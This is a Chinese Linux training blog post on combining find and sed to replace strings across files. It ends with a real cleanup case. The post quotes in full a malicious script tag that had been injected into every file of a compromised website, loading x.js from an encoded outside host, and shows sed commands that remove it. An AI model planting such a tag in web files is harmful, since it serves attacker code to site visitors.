说明:本文为老男孩linux培训某节课前考试试题及答案分享博文内容的一部分,也是独立成题的,你可以点下面地址查看全部的内容信息。
http://oldboy.blog.51cto.com/2561410/791245
特别说明:答题的思路技巧可能比做题本身更重要,这也是老男孩特别教导学生的学习方法。
5.查找当前目录下所有文件,并把文件中的www.etiantian.org字符串替换成www.oldboy.cc
解答:
通过find命令查找,然后通过-exec参数调用sed命令完成替换
find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g'{} \;
#→这个命令是错误的语法,仅结尾{}前少了个空格,细节决定成败啊!
find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g' {} \;
#→这个命令是正确的语法,点号为特殊字符,使用\来转义(除去特殊字符代表的特殊含义,使用其本身的原始意义)。对于本题可以不用转义。
find . -type f -exec sed -i 's/www.oldboy.cc/www.etiantian.org/g' {} \; #→此处不转义也可以。
find . -type f -exec sed -i 's#www.etiantian.org#www.oldboy.cc#g' {} \;
说明:此题考察find,sed命令的组合使用,是非常常用,好用的两个命令,必须精通之。
案例实践:
[root@oldboy test]# echo www.etiantian.org >test.txt #→创建测试文件,录入wwww.etiantian.org
[root@oldboy test]# echo www.etiantian.org >ett.txt #→创建测试文件,录入wwww.etiantian.org
[root@oldboy test]# cat test.txt ett.txt
www.etiantian.org
www.etiantian.org
[root@oldboy test]# ls
ett.txt test.txt
[root@oldboy test]# find . -type f -exec sed -i 's/www.etiantian.org/oldboy.cc/g' {} \;
#→查找当前目录(点表示当前目录),所有文件,然后把文件中的www.etiantian.org的字符串,替换为oldboy.cc
[root@oldboy test]# cat ett.txt test.txt
oldboy.cc#→修改后的结果,原来是www.etiantian.org
oldboy.cc
[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \;
[root@oldboy test]# cat ett.txt test.txt
www.etiantian.org #→修改后的结果,刚刚是oldboy.cc
www.etiantian.org
如果是语法错误就会出现如下提示:
[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \;
sed: -e expression #1, char 40: unterminated `s' command
sed: -e expression #1, char 41: unterminated `s' command
[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\;
find: missing argument to `-exec'
正确错误命令对比:
find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \; #→错误命令
find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\; #→错误命令
find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \; #→正确命令,大括号前后各多了个空格,这也是find命令的语法写法。
参考man find帮助案例:
EXAMPLES
find /tmp -name core -type f -print | xargs /bin/rm -f
Find files named core in or below the directory /tmp and delete them. Note that this will work incorrectly if there are any filenames containing newlines, single or double quotes, or spaces.
find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f
Find files named core in or below the directory /tmp and delete them, processing filenames in such a way that file or directory names containing single or double quotes, spaces or newlines are correctly handled. The -name test comes before the -type test in order to avoid having to call stat(2) on every file.
find . -type f -exec file '{}' \;
例:查看找所有文件并查看文件类型
[root@oldboy test]# find . -type f -exec file '{}' \;
./ett.txt: ASCII text
./test.txt: ASCII text
[root@oldboy test]# find . -type f -exec file {} \;
./ett.txt: ASCII text
./test.txt: ASCII text
学生典型答案:
答案1:
解答: # grep "www.etiantian.org" * |tr "www.etiantian.org" oldboy.cc
老男孩老师点评:这是错误答案。
答案2:
find . -type f |sed -i s/www.ethiantian.org/www.oldboy.cc/g
老男孩老师点评:这是不规范的正确答案,加引号比较好。
答案3:
find . -type f |xargs sed -i s/www.ethiantian.org/www.oldboy.cc/g
老男孩老师点评:此答案思路也可以,注意加引号。
生产环境正式案例:
这是一个几年前老男孩老师给一家IT公司做技术顾问时遇到的一个实际问题,情况是:
一个lamp的服务器,站点目录下所有文件均被植入了如下内容:
<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>
包括图片文件也被植入了,网站打开时就会调用这个地址,造成的影响很恶劣。
虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定,后来给老男孩电话。5分钟内搞定。
实际解决办法:
思路是:需要遍历所有目录所有文件 把以上被植入的内容删除掉。
实践演示:
[root@oldboy test]# cat guanggao.txt #→模拟被窜改的文件,多个。
<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>
处理命令:
法一:
[root@oldboy test]#find . -type f -exec sed -i 's#<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x.js?google_ad=95x27_ad></script>##g' {} \;
#→就是本题的命令使用方法。
法二:
find sed删除 正则
匹配:?google_ad ,包含字符串?google_ad的内容的行删除。
[root@oldboy oldboy]# find . -type f -exec sed -i '/^.*\?google_ad/d' {} \;
特别提示:法二的方法,容易把程序里的其他正常内容删除掉,匹配关键字很重要,因此不建议使用法二。
如果用完整匹配删除则很麻烦:
find . -type f -exec sed -i '/<script language=javascript src=http://%64%64%66%2E%78%6F%72%67%2E%70%6C/x\.js\?google_ad=95x27_ad><\/script>/d' {} \;
sed: -e expression #1, char 40: unknown command: `/'
sed: -e expression #1, char 40: unknown command: `/'
sed: -e expression #1, char 40: unknown command: `/'
sed: -e expression #1, char 40: unknown command: `/'
sed: -e expression #1, char 40: unknown command: `/'
sed: -e expression #1, char 40: unknown command: `/'
处理后的结果
[root@oldboy test]# cat guanggao.txt
当时的处理过程:
1、和运维人员确认确实出问题了。并详细确认问题情况。
2、制定处理方案,先备份数据,然后,执行命令批量修改回来。
3、写解决说明(类似本例这样),写完发给他们的运维。
4、询问处理结果,并告知详细查看日志,问题发生来源。
5、提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线规范思路)。
站点目录严格权限规划方案及新上线规范思路,请参考:
老男孩linux实战培训教案-Linux文件和目录的属性及权限精华讲解
老男孩linux实战培训教案-LAMP/LNMP生产环境40条优化军规精华讲解
老男孩linux实战培训教案-生产环境sina,baidu,腾讯门户站上线发布代码方案精华讲解
特别说明:find,sed是工作中极其重要的两个命令,同学们必须详细总结,并掌握之。可参考:
《老男孩linux实战培训教案-强大的流编辑器sed详解指南及经典生产案例》
《老男孩linux实战培训教案--find详解指南及经典生产案例》